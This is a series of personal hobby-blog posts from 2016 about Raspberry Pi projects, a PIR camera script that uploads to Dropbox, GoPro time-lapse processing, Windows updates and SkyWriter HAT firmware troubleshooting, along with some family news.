<title>could you wait please</title>
<pubDate>Sun, 26 Jun 2016 21:15:18 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2016.html#p260620162115</link>
<description>
Sarah has had to have her leg re-broken so that means 6-8 weeks or round the clock support again. She is better that last time but has been keeping me from getting a good nights sleep.

The new operation took 7.5hrs, but that's not what I want to blog about. Because the op. was so long and other risk factors she is on a month of blood thinning tablets to avoid DVTs (deep vein thrombosis).

She was not very happy when she found a painful lump in her leg that got worse over a few days. So we went to A&amp;E, we were there for 3 hours of which 10mins was pre-screening and 15mins was with a doctor who advised a scan, just to be sure. 

They made the scan for later that day and we went home for lunch then back to the hospital for a quick scan. 40mins after the appointment time we got the scan, no DVT and nothing under the skin, please wait for a doctor to go through the results. 4hrs later ... yes really 4 hours later we got the doctor to confirm that no DVT and please come back for another scan next week.

Apparently the departments was down two doctors, one who was on maternity leave and no cover had been arranged.

So that was just the greatest Friday ever. 7.5 hours in hospital for 40mins actual action/work. Even had to draft help into picking up the kids from school we were in so long.

Lets just hope they are better prepared next week. FYI the staff at every stage were very good, professional and at no pointed did we feel we were being rushed. The doctor strongly recommend we report the long wait times as he had earlier and as he had suggested to all the other patients we waited with.

Needless to say I managed to catch up on some sleep. Every cloud ... and all that.
</description>
</item>
<item>
<title>tv times missing pain functionality fault</title>
<pubDate>Sun, 26 Jun 2016 21:00:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2016.html#p260620162100</link>
<description>
After the <a href="http://www.jumpstation.co.uk/flog/Jun2016.html#p200620160916">FTP incident</a> now the amazingly useful <a href="http://www.jumpstation.co.uk/flog/May2012.html#200520122215">tv dig project</a> has died.

The xml feed provider has stopped providing the feed and there alternative is an API that only gives you 24hrs worth of data which is essentially useless for my needs.

https://metabroadcast.com/blog/changes-to-atlas-access

What was my requirements? To get a list of all the films on the Freesat channels so I could set up recording schedules. I also tried to find episodes of certain shows that I wanted to see without having to record hundreds I had seen but that functionality has not been in use for at least a couple of years.
The film list would be formatted by "year of release" or "air date" allowing me to quickly identify new films even on at obscure times and channels. I also colour coded the films by air time to highlight kid friendly films. That last feature is the main reason i am sad to see this go. We always had a good backlog of kid films ready to watch at a moments notice and was invaluable at Christmas.

I have found two solutions, both will require a considerable amount of work to incorporate.
Firstly we have a paid service that is recommended by the metabroadcast post above

http://schedulesdirect.org/

but I really want to avoid that.

the second is odd in the fact it is almost perfect but referenced almost nowhere, indicating it could disappear at any moment.

http://www.bleb.org/tv/

And, although the listing seem fresh there has been no activity on the mailing list for years.

But worst of all, there is not film release data on those feeds so I could not easily identify new films :(

Of course I could just scrape the data from somewhere else but I do not have the time for that or maintaining it.
</description>
</item>
<item>
<title>blender wip electric coil</title>
<pubDate>Mon, 20 Jun 2016 09:28:40 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2016.html#p200620160928</link>
<description>
Here is a little blender I have been working on.

Started with a elongated cylinder that has a curve modifier. The curve is 3D
<img src="images/wip_spring_electric-stage1-wire_20160618_for_web.jpg" alt="3d render of a bent wire" />

Then added another modifier, this time an array so the pattern is duplicated. Took ages to tweak so the wire segments lined up correctly.

<img src="images/wip_spring_electric-stage2-wire-array_20160618_for_web.jpg" alt="3d render of wire spring" />

Finally another curve modifier, this time using a bezier circle that made the coil.
<img src="images/wip_spring_electric-stage3-wire-loop_20160618_for_web.jpg" alt="3d render of coiled spring" />

The same curve modifier with a bezier circle made the glass rod. That looked quite interesting not closed, so I added a particle emitter and made the particles light emitters.

To finish it off, I want to add a vortex of paper work flying around with a out of focus background.
</description>
</item>
<item>
<title>am I floging a dead ftp horse</title>
<pubDate>Mon, 20 Jun 2016 09:16:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2016.html#p200620160916</link>
<description>
So that really did not work and I just manually uploaded that last flog entry.

I have switched to lftp now, so lets see it works ...
</description>
</item>
<item>
<title>flog down flog down but not my fault</title>
<pubDate>Sat, 18 Jun 2016 22:19:39 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2016.html#p180620162219</link>
<description>
The <a href="http://www.jumpstation.co.uk/flog/flog.html">f-log</a> has not been happy for a couple of days.

I ran my usual update script and it just stopped on the FTP section, tried a few times and then manually but it was stuck.

So I ran gFTP a graphical FTP client and that hung as well. The log window showing
<code class="output">ftp 500 'auth' command not understood</code>

The fun bit was that connection was established AND the DEL command was actioned, just the upload/transfer was not working.

I checked 1and1's status page http://status-1and1.com/ and it said they had no problems. So I assumed it was my fault. Perhaps I had screwed up the SSL support.

And ... after 48hrs its just working again.

Not sure this blog has EVER had downtime before now, not bad for 14 years!
</description>
</item>
<item>
<title>GoPro good frame copy trick</title>
<pubDate>Wed, 15 Jun 2016 18:22:12 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2016.html#p150620161822</link>
<description>
The GoPro has an odd bug that it skips a frame when doing time-lapse, so when I try and use ffmpeg to construct a movie from all the images it fails half way through.

This means I have to duplicate the frame before the missing one. But at 30 frames per second it is not noticeable.

Copy the files of the SD card and shrink them down(from all folders)
<code>find /mnt/sdd1/DCIM/ -iname "*.jpg" -type f  -exec sh -c 'convert -thumbnail 600x600  {} $(basename "{}")' \;
</code>
Copy the a good frame to make up for the missing one.
<code>cp G0019999.JPG G0020000.JPG
</code>
Finally convert into a 30 fps movie
<code>ffmpeg -framerate 30 -start_number 11189 -i G%07d.JPG -codec copy output.mkv
</code>

You will notice the odd number in that command [em]11189[/em] that is the starting file name, not sure what it bases them on but they are always different.
</description>
</item>
<item>
<title>GoPro Hero has some flaws but for free ...</title>
<pubDate>Sat, 14 May 2016 11:27:20 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2016.html#p140520161127</link>
<description>
Somebody bought me a GoPro Hero which is the cheapest GoPro at just &pound;100 ;)

It comes with a fully water proof case and a couple of mounts. It has only a tiny grey LCD screen to tell you what mode you are in, so you can not know how the image is framed before downloading it. That said the 1080p 2592x1944 images are very good but distorted by the trademark(not officially) partially fish-eye lens.

There are a only a few modes and almost no settings, which is a pain. For instance the time-lapse happily filled a 32gb SD card with 26900 images but at the default resolution. The first thing I did is reduce then to 10% of their native size.

Another complaint is the microphone is very VERY weak, even with the non water proof case (also provided).

For some reason every time I go to use it the battery is almost dead, not sure if that's just me.

Lastly I have not found anyway to set the time and date with out using the two buttons on the body. They expect people to use a PC/Mac.
</description>
</item>
<item>
<title>Window 7 update waiting woes</title>
<pubDate>Sat, 14 May 2016 10:18:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2016.html#p140520161018</link>
<description>
My son asked me to update his Windows 7 laptop that I had got as rubbish (and minus a hard drive) from work. He cannot do it himself because it only connects to <a href="http://www.jumpstation.co.uk/flog/Jun2015.html#p020620152215">Kidsspot</a> my locked down Wifi network.

No problem just plug it in to an Ethernet cable and run Windows Update and wait a bit... Then a bit longer, still "checking for updates" ... 

Four and half hours later and I cancel it try rebooting same issue :(

Then I promptly forgot about it until I need to update my Windows 7 laptop that originally came pre-installed with Vista and is only used for emergencies. Again after 4hrs still "checking for updates". did a bit of investigating and ran Microsoft's Update Fix It tool, but got no further.

It was late so I just left it checking for updates overnight. 8hrs later and it was complete! Still needed a reboot and then a couple more updates, but they were quick to detect and download.

So I went back to the original machine and this time left that for over 7hrs overnight and it worked also.

Finally got the youngest to hand over his Windows 7 laptop and ran the same procedure and this time as well as working it offered Windows 10. Which is odd because that machine is the worst of the bunch with the screen resolution maxing out at 1024x768

Windows 10 did worry me after the fun we had getting Windows 8 to work without a Microsoft account, but it came up and logged him in as the local user as it had in Windows 7

Not sure if I should go back and try and get the other two Windows 10 ...

Why Windows? 
Well as I said I have my laptop to do emergency work related stuff, but that is obsolete because I now have a work machine (Surface Pro 4) that travels with me. The kids wanted Flash based games on the web and PC games so Windows was the easy option. I well might rethink that strategy, but at the moment it just works.
</description>
</item>
<item>
<title>python script for pir raspberry pi camera</title>
<pubDate>Mon, 02 May 2016 21:37:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2016.html#p020520162137</link>
<description>
here is the code for my Pir camera including the periodic check from Dropbox
<code>
# Pir_camera.py
#
# Polling script to take and upload images when Pir sensor is triggered
# Rob Davis 2015
#
# major revision, checks state.txt on dropbox as to operational nature 2016/05/01

import RPi.GPIO as GPIO
import time
import sys
import os
import picamera
import datetime 
import dropbox
#urllib3 added to fix ssl warnings when using the Dropbox libraries
import urllib3.contrib.pyopenssl
urllib3.contrib.pyopenssl.inject_into_urllib3()

# Never upload your secret keys to github!
client = dropbox.client.DropboxClient('-------YOURSECRETKEYGOESHERE-------')

liveOutput = False
#Create a camera interface with the half the maximum 5MP resolution
cam = picamera.PiCamera()
cam.resolution = (1296, 972) 

#Which GPIO pin are we using?
sensor = 4

#Set the GPIO pin ready for input
GPIO.setmode(GPIO.BCM)
GPIO.setup(sensor, GPIO.IN, GPIO.PUD_DOWN)

#simple state variables
previous_state = False
current_state = False
state = "+"
capturing = False
captureCount = 0

#Upload a file name to a path on DropBox
def UploadFile(filename, uploadPath):
    fileHandle = open(filename, 'rb')
    response = client.put_file(uploadPath + filename, fileHandle)
    #really should check the response, but, it always works ;)
    os.remove(filename)

#Get a unique filename based on the datetime
def GetFileName(count):  
    return datetime.datetime.now().strftime("%Y%m%d%H%M%S_" + str(count) + ".jpg")

#Get a path based on the date, so a new folder each day
def GetUploadPath():  
    return datetime.datetime.now().strftime("%Y%m%d/")

#Get state flag from dropbox
def GetState():
    state = True
    value = "on"
    with client.get_file('/status.txt') as fileHandle:
        value = fileHandle.read(3)
        fileHandle.close()
    print "state",value
    state = value == "on"
    return state

#Get time plus check delay (in seconds)
def NewCheckTime(delay):
    return time.time()+delay

if len(sys.argv) &gt;= 2 and sys.argv[1] == "-v" :
    liveOutput = True

isRecording = True
#seconds until next check
delayUntilNextCheck = 60
lastRecordingState = NewCheckTime(delayUntilNextCheck)

#Main loop in a try/catch to allow for CTRL+c termination
try:
    while True:
        time.sleep(0.01)    # very short sleep, 100th of a second 
        previous_state = current_state   # back up current state
        current_state = GPIO.input(sensor)   # get new 'current' state
        if current_state != previous_state:
            new_state = "HIGH" if current_state else "LOW"
            if new_state == "HIGH":
                state = "+"
                capturing = True
            else:
                state = "="
                capturing = False
                captureCount = 0
        else:
            state = "_"
        if capturing:
            state = "[o]"
            captureCount += 1    # allows for multiple frames per-second
            if time.time()>lastRecordingState:
                isRecording = GetState()
                lastRecordingState = NewCheckTime(delayUntilNextCheck)
            if isRecording:
                filename = GetFileName(captureCount)
                uploadPath = GetUploadPath()
                cam.annotate_background = picamera.Color('black')
                cam.annotate_text = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
                cam.capture(filename)    # get a photo from the camera
                UploadFile(filename, uploadPath)    # upload the photo to a 'todays' folder on DropBox
        if liveOutput :
            sys.stdout.write(state)    # print out the state without a LF
            sys.stdout.flush()    # flush to stdout or it will sit waiting for a LF
except KeyboardInterrupt:
    print "User Quit, doing GPIO clean up"
    GPIO.cleanup()

</code>
</description>
</item>
<item>
<title>dropbox in ssl warning toilet roll pi caper</title>
<pubDate>Mon, 02 May 2016 21:29:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2016.html#p020520162129</link>
<description>
I wanted to revisit my <a href="http://www.jumpstation.co.uk/flog/Aug2015.html#p050820152206">PIR Pi security camera</a>.

<img scr="images/pircamera.jpg" alt="Pir sensor and Pi camera mounted in toilet roll attached to Raspberry Pi" />
(yes, that is a toilet roll tube) The Pi camera has a fish-eye lens clipped over it for a better field of view.

Firstly I wanted an on/off option and to be awkward I wanted to be able to change the state remotely.

As I had the code writing files to dropbox it was a small step to read a &quot;[em]status.txt[/em]&quot; file.

Testing the code directly worked fine but gave me a SSL warning. Rebooting the Pi and letting the scripts run failed and the only thing in the logs was this warning.

<code class="output">
/usr/local/lib/python2.7/dist-packages/urllib3/util/ssl_.py:97: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
  InsecurePlatformWarning
</code>

I tried installing the httpsclient upgrade 
<code>sudo pip install --upgrade ndg-httpsclient</code>
but that lead to 
<code>
sudo apt-get update
sudo apt-get install python-dev libffi-dev libssl-dev build-essential
wget https://bootstrap.pypa.io/ez_setup.py -O - | sudo python
sudo pip install --upgrade ndg-httpsclient
sudo pip install urllib3[secure]
sudo pip install --upgrade urllib3[secure]
</code>
and you can imagine those were not entered in that succinct order.

That did not fix the warning :(

In fact they got worse.

<code class="output">
/usr/local/lib/python2.7/dist-packages/urllib3/util/ssl_.py:318: SNIMissingWarning: An HTTPS request has been made, but the SNI (Subject Name Indication) extension to TLS is not available on this platform. This may cause the server to present an incorrect TLS certificate, which can cause validation failures. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#snimissingwarning.
  SNIMissingWarning
/usr/local/lib/python2.7/dist-packages/urllib3/util/ssl_.py:122: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#insecureplatformwarning.
  InsecurePlatformWarning
</code>
Which lead to 
<code>
sudo pip install --upgrade pyopenssl ndg-httpsclient pyasn1
</code>

I then added the suggested code to top of my Python script, even though I only use the Dropbox library not [em]urllib3[/em] directly.
<code>
import urllib3.contrib.pyopenssl
urllib3.contrib.pyopenssl.inject_into_urllib3()
</code>

and it Worked!!

I can now use the Dropbox app on my phone and edit a text file to switch [em]on[/em] or [em]off[/em] the image uploading from the PIR camera.

boot note:
I wonder if it would have worked if just disabled warnings!?
</description>
</item>
<item>
<title>ryanteck debug clip give Pi model A life</title>
<pubDate>Fri, 29 Apr 2016 21:02:42 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2016.html#p290420162102</link>
<description>
I have been looking for a way to use my Raspberry Pi A as it is has no ethernet port. Most of my Pi work is done through ssh.

I was very impressed with the reviews of the <a href="https://www.kickstarter.com/projects/ryanteckltd/raspberry-pi-debug-clip/description">DebugClip kickstarter</a>, in fact it sounded to good to be true.

As it was only &pound;5.99 I took a punt.

Wow! Is this thing cool!

The Debug Clip comes as a kit that has to be soldered together but the guide http://wiki.ryanteck.uk/RTK-000-006_Soldering_Guide made that a breeze.

You can optionally power the Raspberry Pi directly from USB connection, just set the jumper to closed. Here is the clip powering my Pi. Only that single USB wire is required!

<img src="images/debugclip1.jpg" alt="Raspberry Pi Debug Clip attached to model A" />

<img src="images/debugclip2.jpg" alt="Raspberry Pi Debug Clip close up" />

You will notice that the clip appears to be 'floating' about the GPIO pins, the early Pis had larger pins and although I could squish it down it would be a pain to remove it again. This level of contact works fine.

The second best thing about the clip is that you do not need to install anything, on either the Pi or the host Linux machine. I did not investigate connecting it to Windows or Mac machines but I can see plenty of people have.

The LEDs are a great addition and show when the serial modem is sending and receiving data.

To connect just find what serial device Linux has assigned the clip and run.

<code>screen /dev/ttyACM0 115200</code>

Where /dev/ttyACM0 is specific to your setup. Although I did not use it Ryanteck have script that will find the device on most setups
 https://bitbucket.org/ryanteckltd/rpidebugclip/src/e881b5a63f1362abdd8b384c44ecaf1a2827589c/rpidebugclip?at=master&fileviewer=file-view-default


</description>
</item>
<item>
<title>booting a raspberry pi 3 with b sd card the secret</title>
<pubDate>Fri, 08 Apr 2016 22:42:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2016.html#p080420162242</link>
<description>
There is a dirty little secret with the Raspberry Pi models 2 and 3 but luckily most users will never come across it. Because their CPUs are ARM7 and not ARM6 like their predecessors, you cannot use a SD card setup for ARM6 on the an ARM7. Well, until you have updated it, which I will come to.

So I took and SD card out of an Raspberry Pi B+ and put it in my 3 and it would not boot. To be more precise the HDMI output was stuck at the rainbow and the SD green LED was flashing four times slowly and four times fast, which apparently is flashing 8 times. 

Quick side note, the rainbow screen is in fact just four pixels scaled up by the processor.

The fix was easy. Find an old ARM6 PI and update the card on that.

<code>sudo apt-get update -y;sudo apt-get upgrade -y;sudo apt-get dist-upgrade -y</code>

even with those "-y" to force a YES answer it took hours and then did ask a question about the UDEV rule file being overwritten.

Then just put the card back in the 3 and it works. Now I can continue by 3D visualisation work with the Skywriter Hat.
</description>
</item>
<item>
<title>no electric zoe for you</title>
<pubDate>Fri, 18 Mar 2016 21:22:35 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2016.html#p180320162122</link>
<description>
I have been telling everyone and their dog that I am getting an electric car. The Renault Zoe is not a hybrid, 100% electric.

But the engineer who came to survey the home charger install has said our electricity is just not good enough :(

Last week the fitting company noted that based on the data and photos we had sent the charger may have to be 'slow' requiring 6 not 3 hours for a full charge. Which would have been fine for my mini commute, but apparently our setup cannot even manage that.

What car should I get now?
</description>
</item>
<item>
<title>Extra lite pi 3 for topblock skinny</title>
<pubDate>Thu, 17 Mar 2016 21:56:34 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2016.html#p170320162156</link>
<description>
For the Raspberry Pi 3 build I had only a 4GB micro SD card and the standard Raspbian image will not fit on it. So I tried <a href="https://www.raspberrypi.org/downloads/raspbian/">Raspbian Lite</a>. Which gives you a headless(no graphical desktop) Linux install. You can then upgrade it.

Most of the steps were taken from a <a href="https://www.raspberrypi.org/forums/viewtopic.php?f=66&amp;t=133691">forum thread</a>.

<code>sudo apt-get update
sudo apt-get upgrade
sudo apt-get install xinit
sudo apt-get install lxde-core lxterminal lxappearance
sudo apt-get install lightdm
sudo apt-get install rc-gui
sudo apt-get install xscreensaver-gl
sudo apt-get install xcompmgr
sudo apt-get install locate
sudo updatedb
locate topblock
/usr/lib/xscreensaver/topblock -size 2 -maxFalling 50 -resolution 0 -dropSpeed 10
</code>

but annoyingly the simple program to disable screen savers and blanking "xset" was not installed, so periodically I would have to move the mouse.

One thing I did notice about the Pi 3 was there is no spring/catch on the Micro SD card slot. You push it in, you pull it out. Which is great because the old style kept getting bumped, ejecting the card but so subtly that I would not notice and then spend ages trying to understand why it did work and now it does not. Worst instance of that was at work, where the Pi worked at my desk but in the process of mounting it behind a TV the card got ejected. Spent almost a hour trying to find the Pi on the network.
</description>
</item>
<item>
<title>Busy all day long with Lego at the Cambridge Science Festival</title>
<pubDate>Thu, 17 Mar 2016 19:05:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2016.html#p170320161905</link>
<description>
So I got a Raspberry Pi 3 and what do I do with it? Run my <a href="http://www.jumpstation.co.uk/xscreensaver/">TopBlock screensaver</a> from 2005. Which seems a little vein until to find out why.

We were presenting at the <a href="http://www.cambridgesciencefestival.org/Home.aspx">  </a> and it was all about Lego. As Lego towers featured heavily a Raspberry Pi just showing my screen saver of falling blocks that pile up was ideal. I was also demoing <a href="http://firstlegoleague.theiet.org/">First Lego League</a> using Lego mindstorms robots with kids to complete challenges, so I had another Raspberry Pi running omxplayer in a loop with videos about the <a href="http://firstlegoleague.theiet.org/">First Lego League</a>.

It was a little bit busy and for 6 hours straight I had queues of kids wanting to have a go with the robot and the last hour still had at least one child trying to have "another" go.

Bottom line was everyone had fun and the organisers have invited us back, we also got a lot of positive feedback from the parents.

<img src="images/legoroommontage.jpg" alt="Cambridge Science Festival Lego room montage">

To get the screen saver running full pelt I enabled the <a href="https://www.raspberrypi.org/blog/another-new-raspbian-release/">new experimental OpenGL support</a>.
</description>
</item>
<item>
<title>2016 raspberry pi birthday fun</title>
<pubDate>Tue, 15 Mar 2016 22:10:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2016.html#p150320162210</link>
<description>
We went to the <a href="https://www.raspberrypi.org/blog/what-a-party/">Raspberry Pi Party</a> and had lots of fun. Sadly no Pi Zeros were for sale though just about every vendor was displaying one or two.

Did manage to get a Pi 3 but have so far used it literally as a Pi 2.

We did the <a href="https://www.thehacklab.uk/?attachment_id=568">Sensory Overload</a> workshop which was using the <a href="https://www.raspberrypi.org/products/sense-hat/">Sense Hat</a>. Especially liked the workshop format; Basic intro, "what is this wire for", sense hat workshop walk through, followed by "select the worksheet you are interested in". Kids loved it.

I bought a number of other cheap bits like a <a href="https://shop.pimoroni.com/products/drum-hat">Drum Hat</a>, <a href="http://thepihut.com/products/camjam-edukit-3-robotics">Cambridge Edu Kit 3</a> (robotics) and a couple of the new <a href="http://thepihut.com/collections/magpi">MagPi books</a>. We also won a <a href="http://pibrella.com/">Pibrella board</a> and the foundation gave everyone another copy (latest version) of <a href="https://shop.pimoroni.com/products/adventures-in-raspberry-pi-foundation-edition">"Adventures in Raspberry Pi"</a>.

As before the kids went free and it was only fiver for me. We missed out on <a href="http://www.jumpstation.co.uk/flog/Mar2015.html#p020320151933">party</a> tickets but that just made the more manageable.

Two complaints, but very minor.
1) the Cafe does not offer anything kid friendly or anything cheap. 
2) last year we booked a course of workshops through the day this time we were restricted to just one :(

But the bottom line, as with last years party was it was FUN! and everyone was really friendly to talk to. 
</description>
</item>
<item>
<title>3.5mm pi audio update</title>
<pubDate>Sat, 27 Feb 2016 13:08:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2016.html#p270220161308</link>
<description>
Was having some problems with the free Raspberry Pi games
 http://yoyogames.com/pi
 http://www.webfootgames.com/pi/

Though initially we had some games die with
<code class="output">ALSA lib confmisc.c:768:(parse_card) cannot find card '0'
    ALSA lib conf.c:4241:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory
    ALSA lib confmisc.c:392:(snd_func_concat) error evaluating strings
    ALSA lib conf.c:4241:(_snd_config_evaluate) function snd_func_concat returned error: No such file or directory
    ALSA lib confmisc.c:1251:(snd_func_refer) error evaluating name
    ALSA lib conf.c:4241:(_snd_config_evaluate) function snd_func_refer returned error: No such file or directory
    ALSA lib conf.c:4720:(snd_config_expand) Evaluate error: No such file or directory
    ALSA lib pcm.c:2217:(snd_pcm_open_noupdate) Unknown PCM default
    aplay: main:682: audio open error: No such file or directory
    ALSA lib confmisc.c:768:(parse_card) cannot find card '0'
    ALSA lib conf.c:4241:(_snd_config_evaluate) function snd_func_card_driver returned error: No such file or directory
</code>
and the others ran really slowly. This was fixed by adding "snd_bcm2835" to /etc/modules
<code>
sudo -s
echo "snd_bcm2835" &gt;&gt; /etc/modules
</code>
and
<code>
echo "amixer cset numid=3 1" &gt;&gt; ~/.profile
and rebooting

This is because we are not using the default of the HDMI audio output but the 3.5mm audio jack to old PC speakers.
</description>
</item>
<item>
<title>free pi monitors need some love byebye crt</title>
<pubDate>Sat, 27 Feb 2016 13:04:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2016.html#p270220161304</link>
<description>
I managed to nab a couple on Dell 2009WT 20&quot; monitors from work that were on their way to the tip for the boys to replace the CRTs that currently heat their rooms.

<img src="images/OLD_CRT_with_tape_measure.jpg" alt="Old, huge, CRT monitor adorned with Raspberry Pi stickers"/>
<img src="images/DELL_monitor_playing_TMBF_2.jpg" alt="2nd hand Dell 2009WT monitor playing They Must Be Fed on a Raspberry Pi"/>

But it seemed what ever I did they would not generate a display from the Raspberry Pi using a VGA-&gt;HDMI converter. Not even the text on boot, though sometimes I would get the rainbow screen briefly.

In the end I edited the /boot/config.txt and made 

this section uncommented and set to 
<code>
# uncomment to force a specific HDMI mode (this will force VGA)
hdmi_group=2
hdmi_mode=58
</code>

and now they work fine!

hdmi_mode=58 is 1680x1050 which is what the monitor was complaining about needing.

I also managed to get another couple of "items" that would have otherwise gone to the tip, very heavy items that I will have to investigate the worth of in the future.

FYI two separate companies have donated games for use on the Raspberry Pi and I now need to try them out, for the boys, you understand.
http://yoyogames.com/pi
http://www.webfootgames.com/pi/
</description>
</item>
<item>
<title>skywriter firmware madness fixed by the pirates</title>
<pubDate>Sat, 30 Jan 2016 19:53:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2016.html#p300120161953</link>
<description>
I meant to detail the fun I had the <a href="http://www.jumpstation.co.uk/flog/Jan2016.html#p280120162228">SkyWriter Hat</a> the following is mostly taken from my forum post
 http://forums.pimoroni.com/t/solved-skywriter-firmware-info-error/1566

<code class="output">
Linux rpihobby01 4.1.13-v7+ #826 SMP PREEMPT Fri Nov 13 20:19:03 GMT 2015 armv7l GNU/Linux

curl -sSL get.pimoroni.com/skywriter | bash
sudo apt-get install python-smbus
sudo reboot

pi@rpihobby01:~ $ sudo i2cdetect -y 1
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f
00:          -- -- -- -- -- -- -- -- -- -- -- -- -- 
10: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
20: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
30: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
40: -- -- 42 -- -- -- -- -- -- -- -- -- -- -- -- -- 
50: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
60: -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- 
70: -- -- -- -- -- -- -- --
</code>

So I pretty sure that means its all setup, but I did later run raspi-config again and enable SMB Bus and I2c was set enabled
I also noted all the packages installed before copy&amp;pasting the issue

<code class="output">
pi@rpihobby01:~/skywriter-hat-master/python/examples $ sudo ./test.py
Got firmware info

Got firmware info

Got firmware info

...

^CTraceback (most recent call last):
  File "./test.py", line 37, in &lt;module&gt;
    signal.pause()
KeyboardInterrupt
Got firmware info
</code>

all the SkyWriter apps had the same issue.

I then found a pending pull-request from a user trying to identify firmware issues so had a go at running that.

<code class="output">
pi@rpihobby01:~ $ mkdir tmp
pi@rpihobby01:~ $ cd tmp
pi@rpihobby01:~/tmp $ git clone https://github.com/besherman/skywriter-hat.git
Cloning into 'skywriter-hat'...
remote: Counting objects: 236, done.
remote: Total 236 (delta 0), reused 0 (delta 0), pack-reused 236
Receiving objects: 100% (236/236), 1.99 MiB | 1.00 MiB/s, done.
Resolving deltas: 100% (88/88), done.
Checking connectivity... done.
pi@rpihobby01:~/tmp $ cd skywriter-hat/python/library/
pi@rpihobby01:~/tmp/skywriter-hat/python/library $ sudo python setup.py install
running install
running bdist_egg
running egg_info
creating skywriter.egg-info
writing requirements to skywriter.egg-info/requires.txt
writing skywriter.egg-info/PKG-INFO
writing top-level names to skywriter.egg-info/top_level.txt
writing dependency_links to skywriter.egg-info/dependency_links.txt
writing manifest file 'skywriter.egg-info/SOURCES.txt'
reading manifest file 'skywriter.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'skywriter.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-armv7l/egg
running install_lib
running build_py
creating build
creating build/lib.linux-armv7l-2.7
copying skywriter.py -&gt; build/lib.linux-armv7l-2.7
creating build/bdist.linux-armv7l
creating build/bdist.linux-armv7l/egg
copying build/lib.linux-armv7l-2.7/skywriter.py -&gt; build/bdist.linux-armv7l/egg
byte-compiling build/bdist.linux-armv7l/egg/skywriter.py to skywriter.pyc
creating build/bdist.linux-armv7l/egg/EGG-INFO
copying skywriter.egg-info/PKG-INFO -&gt; build/bdist.linux-armv7l/egg/EGG-INFO
copying skywriter.egg-info/SOURCES.txt -&gt; build/bdist.linux-armv7l/egg/EGG-INFO
copying skywriter.egg-info/dependency_links.txt -&gt; build/bdist.linux-armv7l/egg/EGG-INFO
copying skywriter.egg-info/requires.txt -&gt; build/bdist.linux-armv7l/egg/EGG-INFO
copying skywriter.egg-info/top_level.txt -&gt; build/bdist.linux-armv7l/egg/EGG-INFO
zip_safe flag not set; analyzing archive contents...
creating dist
creating 'dist/skywriter-0.0.2-py2.7.egg' and adding 'build/bdist.linux-armv7l/egg' to it
removing 'build/bdist.linux-armv7l/egg' (and everything under it)
Processing skywriter-0.0.2-py2.7.egg
Removing /usr/local/lib/python2.7/dist-packages/skywriter-0.0.2-py2.7.egg
Copying skywriter-0.0.2-py2.7.egg to /usr/local/lib/python2.7/dist-packages
skywriter 0.0.2 is already the active version in easy-install.pth

Installed /usr/local/lib/python2.7/dist-packages/skywriter-0.0.2-py2.7.egg
Processing dependencies for skywriter==0.0.2
Searching for smbus==1.1
Best match: smbus 1.1
smbus 1.1 is already the active version in easy-install.pth

Using /usr/lib/python2.7/dist-packages
Finished processing dependencies for skywriter==0.0.2
pi@rpihobby01:~/tmp/skywriter-hat/python/library $ cd ../examples/
pi@rpihobby01:~/tmp/skywriter-hat/python/examples $ ./test.py 
Got firmware info

Exception in thread Thread-1:
Traceback (most recent call last):
  File "/usr/lib/python2.7/threading.py", line 810, in __bootstrap_inner
    self.run()
  File "build/bdist.linux-armv7l/egg/skywriter.py", line 103, in run
    if self.todo() == False:
  File "build/bdist.linux-armv7l/egg/skywriter.py", line 332, in _do_poll
    handle_firmware_info(data)
  File "build/bdist.linux-armv7l/egg/skywriter.py", line 289, in handle_firmware_info
    raise Exception("No valid GestIC Library could be located")
Exception: No valid GestIC Library could be located

^CTraceback (most recent call last):
  File "./test.py", line 37, in &lt;module&gt;
    signal.pause()
KeyboardInterrupt
</code>

The key bit to note is "No valid GestIC Library could be located" which is the clever bit on the board and detailed here
<a href="https://github.com/pimoroni/skywriter-hat/tree/master/datasheets">https://github.com/pimoroni/skywriter-hat/tree/master/datasheets</a>

Turns out that user had opened an issue on GitHub
<a href="https://github.com/pimoroni/skywriter-hat/issues/7">https://github.com/pimoroni/skywriter-hat/issues/7</a>

<a href="https://shop.pimoroni.com/">Pimoroni</a> emailed me the firmware and it was easy to unpack and run a Python script that fixed the SkyWriter Hat.

I asked why this was not available in the GitHub repository and if a lot of people were affected.

